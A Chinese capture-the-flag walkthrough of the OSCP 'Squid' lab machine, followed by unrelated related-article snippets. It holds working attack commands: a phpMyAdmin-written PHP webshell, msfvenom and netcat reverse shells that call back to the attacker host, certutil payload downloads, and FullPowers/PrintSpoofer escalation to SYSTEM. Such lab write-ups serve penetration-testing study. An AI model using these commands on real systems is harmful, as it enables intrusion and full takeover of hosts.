OSCP靶场--Squid

news2024/11/16 6:48:09

OSCP靶场–Squid

考点(1.squid代理绕过 2.phpmyadmin写webshell 3.受限服务账户【LOCAL SERVICE或NETWORK SERVICE】恢复特权 4.SeImpersonatePrivilege提权)

1.nmap扫描

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sV -sC -p- 192.168.188.189 --min-rate 2000
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-03 01:00 EST
Nmap scan report for 192.168.188.189
Host is up (0.26s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3128/tcp  open  http-proxy    Squid http proxy 4.14
|_http-server-header: squid/4.14
|_http-title: ERROR: The requested URL could not be retrieved
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-03-03T06:02:23
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.62 seconds

2.user priv

2.1 发现目标只开放了http代理服务:squid

## 发现http代理:
http://192.168.188.189:3128/

## 使用时候脚本无效:
git clone https://github.com/aancw/spose
cd spose
python3 spose.py --proxy http://192.168.57.189:3128 --target 192.168.57.189

## 使用如下脚本:注意修改端口:
## port_scan.sh
#!/bin/bash  
  
TARGET="$1"  
START_PORT=8080
END_PORT=8081
  
for PORT in $(seq $START_PORT $END_PORT); do  
    # 使用curl尝试连接目标主机的指定端口  
    # 如果连接成功,curl将返回HTTP响应;否则,将返回连接错误  
    RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" --silent  http://$TARGET:$PORT/ --proxy http://$TARGET:3128)  
  
    # 检查curl的响应  
    if [ "$RESPONSE" -eq 200 ]; then  
        echo "Port $PORT is open"  
    elif [ "$RESPONSE" -eq 0 ]; then  
        echo "Port $PORT is closed"  
    else  
        echo "Error occurred while scanning port $PORT"  
    fi  
done


##
┌──(root㉿kali)-[~/Desktop]
└─# ./port_scan.sh 192.168.188.189
Port 3306 is open
Error occurred while scanning port 3307
                                                                                                                                                                                   
┌──(root㉿kali)-[~/Desktop]
└─# ./port_scan.sh 192.168.188.189
Port 8080 is open
Error occurred while scanning port 8081

在这里插入图片描述

2.2 浏览器使用http代理访问:



在这里插入图片描述
在这里插入图片描述
发现phpinfo:
在这里插入图片描述
phpmyadmin root空密码登陆:
在这里插入图片描述

2.3 phpmyadmin写webshell:

## phpmyadmin写文件获得webshell:
## 1.判断是否可写文件:
show variables like '%secure%' 
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

##
## 2.查找写入的webroot路径:phpinfo中查看:	C:/wamp/www 
## 或者根据:select @@basedir 结果:C:\wamp\bin\mysql\mysql5.7.31\ 推断:

## 3.写入webshell: 注意路径:
## php面杀一句话:
## https://cloud.tencent.com/developer/article/2321941
select "<?php echo shell_exec($_GET['cmd']);?>" into outfile 'C:/wamp/www/shell5.php'

## 写入成功:浏览器访问:
http://192.168.188.189:8080/shell5.php?cmd=whoami

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

2.4 交互式shell:

## 交互式shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.198 LPORT=443 -f exe -o shell443.exe

## 下载:
┌──(root㉿kali)-[~/Desktop]
└─# python -m http.server 80    

##
certutil -urlcache -split -f http://192.168.45.198/shell443.exe
http://192.168.188.189:8080/shell5.php?cmd=certutil -urlcache -split -f http://192.168.45.198/shell443.exe

## 执行:
http://192.168.188.189:8080/shell5.php?cmd=shell443.exe
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 443              
listening on [any] 443 ...
192.168.188.189: inverse host lookup failed: Unknown host
connect to [192.168.45.198] from (UNKNOWN) [192.168.188.189] 49973
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\wamp\www>whoami&ipconfig
whoami&ipconfig
nt authority\local service

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.188.189
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.188.254


## loca.txt
c:\>type local.txt
type local.txt
4b1f2732b925de4ef514506c0ba8948d

反弹shell:
在这里插入图片描述

3. root priv

3.1 受限制的服务账户特权恢复提权:

https://github.com/itm4n/FullPowers

##
https://github.com/itm4n/FullPowers
https://github.com/itm4n/FullPowers/releases/tag/v0.1
https://itm4n.github.io/localservice-privileges/

##
后枚举
在当前会话中,我们作为本地服务帐户运行,但缺少分配给该帐户的一些权限。

PS C:\wamp\www>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
从该资源中,我们发现当LOCAL SERVICEorNETWORK SERVICE配置为以一组受限的权限运行时,可以通过创建scheduled task. 创建的新进程Task Scheduler Service将拥有关联用户帐户的所有默认权限。
LOCAL SERVICE可以通过使用 powershell 创建一个简单的任务来重新获得分配给该帐户的所有权限。更多信息请点击这里。

首先,我们在 Kali 主机上启动一个侦听器。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444                  
listening on [any] 4444 ...
然后,我们创建一个新的计划任务来连接回我们的侦听器。

PS C:\wamp\www> $TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.118.23 4444 -e cmd.exe`""

PS C:\wamp\www> Register-ScheduledTask -Action $TaskAction -TaskName "GrantPerm"

TaskPath                                       TaskName                          State     
--------                                       --------                          -----     
\                                              GrantPerm                         Ready     

PS C:\wamp\www> Start-ScheduledTask -TaskName "GrantPerm"
我们收到与侦听器的连接,并检查该LOCAL SERVICE帐户是否具有所有默认权限。

Ncat: Connection from 192.168.120.223.
Ncat: Connection from 192.168.120.223:50828.
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State   
============================= ================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token      Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process Disabled
SeSystemtimePrivilege         Change the system time             Disabled
SeAuditPrivilege              Generate security audits           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking           Enabled 
SeCreateGlobalPrivilege       Create global objects              Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set     Disabled
SeTimeZonePrivilege           Change the time zone               Disabled

C:\Windows\system32>
仔细阅读我们现在拥有的权限,可以确认SeImpersonatePrivilege缺少该权限,但可以通过创建一个ScheduledTaskPrincipal我们可以SeImpersonatePrivilege在RequiredPrivilege属性中指定的位置来检索该权限。

# Create a list of privileges
PS C:\Windows\system32> [System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseWorkingSetPrivilege"

# Create a Principal for the task 
PS C:\Windows\system32> $TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs

# Create an action for the task 
PS C:\Windows\system32> $TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.118.23 4444 -e cmd.exe`""

# Create the task
PS C:\Windows\system32> Register-ScheduledTask -Action $TaskAction -TaskName "GrantAllPerms" -Principal $TaskPrincipal

TaskPath                                       TaskName                          State     
--------                                       --------                          -----     
\                                              GrantAllPerms                     Ready     

# Start the task
PS C:\Windows\system32> Start-ScheduledTask -TaskName "GrantAllPerms"
SeImpersonatePrivilege现在已在我们帐户的目标上启用 LOCAL SERVICE。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444                   
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.120.223.
Ncat: Connection from 192.168.120.223:50883.
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

C:\Windows\system32>
在SeImpersonatePrivilege帐户目标上启用后LOCAL SERVICE,我们可以使用 https://github.com/itm4n/PrintSpoofer 滥用此权限在当前控制台中PrintSpoofer.exe创建一个新控制台。SYSTEM process

C:\wamp\www>certutil -urlcache -f http://192.168.118.23/PrintSpoofer64.exe PrintSpoofer64.exe
certutil -urlcache -f http://192.168.118.23/PrintSpoofer64.exe PrintSpoofer64.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

# Checking SeImpersonatePrivilege abuse
C:\wamp\www>PrintSpoofer64.exe -i -c "cmd /c whoami"
PrintSpoofer64.exe -i -c "cmd /c whoami"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
nt authority\system

# Creating a new SYSTEM process in our current console
C:\wamp\www>PrintSpoofer64.exe -i -c "cmd /c cmd.exe"
PrintSpoofer64.exe -i -c "cmd /c cmd.exe"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
我们现在可以对目标机器进行系统级访问!

在这里插入图片描述

3.2 简化操作:受限服务账户【LOCAL SERVICE或NETWORK SERVICE】恢复特权

https://github.com/itm4n/FullPowers

## https://github.com/itm4n/FullPowers
C:\wamp\www>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled


## 下载:
C:\wamp\www>certutil -urlcache -split -f http://192.168.45.198/FullPowers.exe

## 执行后恢复服务账户的SeImpersonatePrivilege权限:
C:\wamp\www>FullPowers.exe
FullPowers.exe
[+] Started dummy thread with id 3220
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

在这里插入图片描述

3.3 SeImpersonatePrivileget提权:

https://github.com/itm4n/PrintSpoofer

## https://github.com/itm4n/PrintSpoofer
SeImpersonatePrivileget提权

##
c:\Users\Public>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

##
c:\Users\Public>certutil -urlcache -split -f http://192.168.45.198/nc64.exe
certutil -urlcache -split -f http://192.168.45.198/nc64.exe
****  Online  ****
  0000  ...
  aab0
CertUtil: -URLCache command completed successfully.

c:\Users\Public>PrintSpoofer64.exe -c "cmd /c powershell -c c:\Users\Public\nc64.exe 192.168.45.198 7002 -e cmd"
PrintSpoofer64.exe -c "cmd /c powershell -c c:\Users\Public\nc64.exe 192.168.45.198 7002 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

##
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 7002
listening on [any] 7002 ...
192.168.188.189: inverse host lookup failed: Unknown host
connect to [192.168.45.198] from (UNKNOWN) [192.168.188.189] 49860
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami&ipconfig
whoami&ipconfig
nt authority\system

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.188.189
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.188.254

C:\Windows\system32>  

## proof.txt
C:\Windows\system32>type c:\users\administrator\desktop\proof.txt
type c:\users\administrator\desktop\proof.txt
b3b9319b826a6c5b1473743926497e43


在这里插入图片描述
在这里插入图片描述

4.总结:

##
https://github.com/itm4n/FullPowers
https://itm4n.github.io/localservice-privileges/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1485964.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

05-Linux部署MySQL

Linux部署MySQL 在今后的使用过程中&#xff0c;需要频繁使用Linux系统&#xff0c;所以在Linux上安装软是必不可少的操作 。 前置要求 需要学习前四章知识&#xff0c;初识Linux、Linux基础命令、Linux权限管理、Linux高阶技巧这4个章节。需要开启多态虚拟机&#xff0c;电…

LeetCode 热题 100 | 图论(三)

目录 1 前缀树 1.1 什么是前缀树 1.2 如何构建前缀树 2 208. 实现 Trie&#xff08;前缀树&#xff09; 菜鸟做题&#xff0c;语言是 C 1 前缀树 1.1 什么是前缀树 前缀树&#xff0c;也被称作字典树&#xff08;Trie&#xff09;或者键树&#xff0c;是一种用于检…

顶会ICLR2024论文Time-LLM:基于大语言模型的时间序列预测

文青松 松鼠AI首席科学家、AI研究院负责人 美国佐治亚理工学院(Georgia Tech)电子与计算机工程博士&#xff0c;人工智能、决策智能和信号处理方向专家&#xff0c;在松鼠AI、阿里、Marvell等公司超10年的技术和管理经验&#xff0c;近100篇文章发表在人工智能相关的顶会与顶刊…

实战:Oracle Weblogic 11g配置无密码启动,启动关闭脚本,修改节点内存

导读 上篇博文介绍了Oracle Weblogic 11g的安装部署&#xff0c;本文介绍Weblogic安装后的基本配置 包括&#xff1a;设置weblogic启动关闭的无密码验证&#xff0c;启动关闭脚本&#xff0c;修改默认的节点内存。 1、配置无密码启动 [weblogicw1 base_domain]$ cd servers/ […

【Java数据结构 -- 二叉树+树的深度优先遍历】

二叉树 1. 二叉树1.1 二叉树的介绍1.2 两种特殊的二叉树1.3 二叉树的性质1.4 二叉树的存储 2. 二叉树的基本操作2.1 二叉树的创建2.2 二叉树的优先遍历2.3 递归实现二叉树遍历2.4 用非递归实现二叉树遍历 1. 二叉树 1.1 二叉树的介绍 二叉树是一种数据结构&#xff0c;一颗二…

Vue开发实例(三)项目引入Element-UI

项目引入Element-UI 一、引入Element-UI二、注册组件1、vue2使用element-ui2、vue3使用element-ui 三、使用Element组件1、轻微改造2、验证element是否生效 一、引入Element-UI npm i element-ui --save npm install element-ui -S等待安装完成 二、注册组件 1、vue2使用ele…

如何预估系统的瓶颈

如何预估系统的瓶颈 1 CPU1.1 CPU和同吞吐量 2 内存3 磁盘IO4 网络宽带5 数据库服务器6 APP服务端 CPU 使用率、内存占用、网络流量、磁盘 IO等指标&#xff0c;异常或者持续高位的情况下&#xff0c;都可能是系统瓶颈的表现。 1 CPU CPU使用率正常在70%左右&#xff0c;如果…

冒泡排序(C语言详解)

原理&#xff1a;从左到右一次比较&#xff0c;如果左侧数字比右侧数字大&#xff08;小&#xff09;&#xff0c;则两数交换&#xff0c;否则比较下一 组数字&#xff0c;每一次大循环比较可以将乱序的最右侧数字改为最大&#xff08;最小&#xff09;&#xff0c…

Springboot+vue的制造装备物联及生产管理ERP系统(有报告)。Javaee项目,springboot vue前后端分离项目。

演示视频&#xff1a; Springbootvue的制造装备物联及生产管理ERP系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot vue前后端分离项 项目介绍&#xff1a; 本文设计了一个基于Springbootvue的制造装备物联及生产管理ERP系统&#xff0c;采用M&#xff…

粉丝福利-纯净Windows系统安装镜像下载网站

​Windows操作系统镜像文件是从微软或其他经过验证的来源下载正版操作系统安装介质的关键所在。以下是详细阐述从不同渠道获取Windows系统镜像的说明,尤其强调官方和安全的下载途径。Windows系统镜像可以从多个可靠来源下载,以下是几个推荐的选择: 微软官方网站 微软官方网…

MySQL Strict Mode is not set for database connection ‘default‘

在使用 DJango 框架执行迁移文件的命令时&#xff0c;可以看到出现如下警告&#xff1a; (ll_env) D:\workspace\workspace-mengll\learning-log>python manage.py migrate System check identified some issues: WARNINGS: ?: (mysql.W002) MySQL Strict Mode is not set …

【网站项目】136公司项目管理系统

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

JAVA *数据库连接池 * 接JDBC

一.介绍: 数据库连接池实际上就是一个 " 容器 " 当有多个拥护需要访问数据库的时候, 一个用户会打开一个数据库连接, 但是!当用户离开的时候,就会断开数据库连接,那么数据库连接就作废了,之后如果还有用户需要进行访问,需要再建立一个数据库连接......循环往复, …

中小型水库安全监测运营解决方案,筑牢水库安全防线

我国水库大坝具有“六多”的特点。第一&#xff0c;总量多。我国现有水库9.8万座&#xff0c;是世界上水库大坝最多的国家。第二&#xff0c;小水库多。我国现有水库中95%的水库是小型水库。第三&#xff0c;病险水库多。 目前&#xff0c;在我国水库管理中&#xff0c;部分地方…

【04】C语言括号匹配问题

欢迎来到土土的博客~&#x1f973;&#x1f973;&#x1f339;&#x1f339;&#x1f339; &#x1f4a5;个人主页&#xff1a;大耳朵土土垚的博客 &#x1f4a5; 所属专栏&#xff1a;C语言系列函数实现 题目描述&#xff1a; 给定一个只包括 ‘(’&#xff0c;‘)’&#xf…

分布式事务详解-高频面试题

分布式事务都有哪些 其实说到分布式事务 我们不得不提事务的分类 事务可以分为本地事务&#xff0c;和分布式事务&#xff0c; 本地事务就是单体系统下基于数据库的ACID来实现的事务&#xff0c;而分布式事务是指在分布式环境下保证多个系统事务一致性的问题 而分布式事务 其…

【C++】vector 的常用接口

目录 一、vector是什么❓ 二、vector的使用 1、构造函数 2、修改数据 ⭕️size ⭕️capacity ⭕️empty ⭕️clear ⭕️resize&#xff08;重要&#xff09; ⭕️reserve&#xff08;重要&#xff09; ​3、遍历数据 ⭕️operator[ ] &#xff08;重要&#xff09; …

MCU 串口接收环形缓冲区的实现

环形缓冲区 1. 环形缓冲区的特性 1.先进先出 2. 当缓冲区被使用完&#xff0c;且又有新的数据需要存储时&#xff0c;丢掉历史最久的数据&#xff0c;保存最新的数据 现实中的存储介质都是线性的&#xff0c;因此我们需要做一下处理&#xff0c;才能在功能上实现环形缓冲区 …

MSMFN

CDFI是彩色多普勒血流成像 辅助信息 作者未提供数据

【C++那些事儿】深入理解C++类与对象:从概念到实践(中)| 默认构造函数 | 拷贝构造函数 | 析构函数 | 运算符重载 | const成员函数

&#x1f4f7; 江池俊&#xff1a; 个人主页 &#x1f525;个人专栏&#xff1a; ✅数据结构冒险记 ✅C那些事儿 &#x1f305; 有航道的人&#xff0c;再渺小也不会迷途。 文章目录 1. 类的6个默认成员函数2. 构造函数2.1 概念2.2 特性 3. 析构函数3.1 概念3.2 特性 4. 拷贝…